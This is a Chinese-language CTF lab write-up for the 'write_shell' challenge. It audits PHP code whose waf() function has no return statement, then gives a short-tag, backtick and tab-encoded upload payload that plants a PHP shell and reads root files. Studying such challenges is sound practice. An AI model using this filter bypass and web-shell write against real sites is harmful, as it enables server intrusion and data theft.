[红明谷CTF 2021]write_shell

打开靶机

发现源代码已经写在页面上

代码审计

第一段,check函数

php 复制代码
function check($input){
    if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
        die('hacker!!!');
    }else{
        return $input;
    }
}

功能:用正则表达式过滤输入内容,禁止包含以下字符 / 字符串(不区分大小写):

引号 '、空格 、下划线 _php、分号 ;、波浪线 ~、异或 ^、加号 +eval、大括号 {}

第二段,waf函数

php 复制代码
function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

功能:如果输入是数组,递归处理每个元素;否则调用 check() 过滤。

致命 bug :函数没有 return 语句!这意味着经过 waf() 处理后,输入内容不会被返回,过滤完全失效。

第三段,目录创建

php 复制代码
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
    mkdir($dir);
}

功能:根据访问者的 IP 地址($_SERVER['REMOTE_ADDR'])生成一个 MD5 哈希值,在 sandbox/ 目录下创建专属子目录。

第四段,核心主程序,文件上传

php 复制代码
switch($_GET["action"] ?? "") {
    case 'pwd':
        echo $dir;
        break;
    case 'upload':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}

功能:通过 GET 参数 action 控制行为:

action=pwd:输出当前用户的专属目录路径。

action=upload:获取 GET 参数 data,调用 waf() 过滤(实际无效),然后将 data 写入目录下的 index.php

访问当前用户专属目录路径

进行文件上传

要执行php命令就要用<?php,但php被禁用了,这里就需要使用php的短标签<? ?>,由于空格也被禁用了,我们可以用${IFS}来替代

<? echo '标准短标签'; ?>

<?= '等效于echo的短标签' ?>

<% echo 'ASP风格标签' %>

<script language="php"> echo '长格式标签' </script>

注意:<?=在PHP 5.4+中始终可用,无需开启short_open_tag选项

php 复制代码
?action=upload&data=<?echo%09`cat%09/*`?>

访问文件上传的路径

参考

BUUCTF--[红明谷CTF 2021]write_shell

红明谷CTF 2021 write_shell通关秘籍:PHP短标签与反引号命令执行的巧妙结合

相关推荐
ZHOUPUYU3 小时前
PHP与WebSocket实时通信的原理到生产级应用
开发语言·html·php
困死,根本不会4 小时前
树莓派 SSH 连接排错实录:从 IP 网段到主机密钥变更,再到 VNC 自启动
开发语言·ssh·php·树莓派
天远云服6 小时前
驾培系统车辆核验实战:PHP集成天远二手车估值API实现学员车辆信息自动化管理
大数据·开发语言·自动化·php
ZHOUPUYU6 小时前
PHP异步编程实战ReactPHP到Swoole的现代方案
开发语言·php
lay_liu7 小时前
QoS质量配置
开发语言·智能路由器·php
Maguyusi7 小时前
Debian13(trixie) 安装php8.5 php-fpm8.5
开发语言·php·lsky pro
乐6827 小时前
CISCN2026半决赛wp
python·web安全·php
AC赳赳老秦7 小时前
OpenClaw 系统监控实战指南:构建高效的电脑/服务器状态监控与自动告警系统
服务器·开发语言·人工智能·php·ai-native·deepseek·openclaw
rookieﻬ°16 小时前
PHP框架漏洞
开发语言·php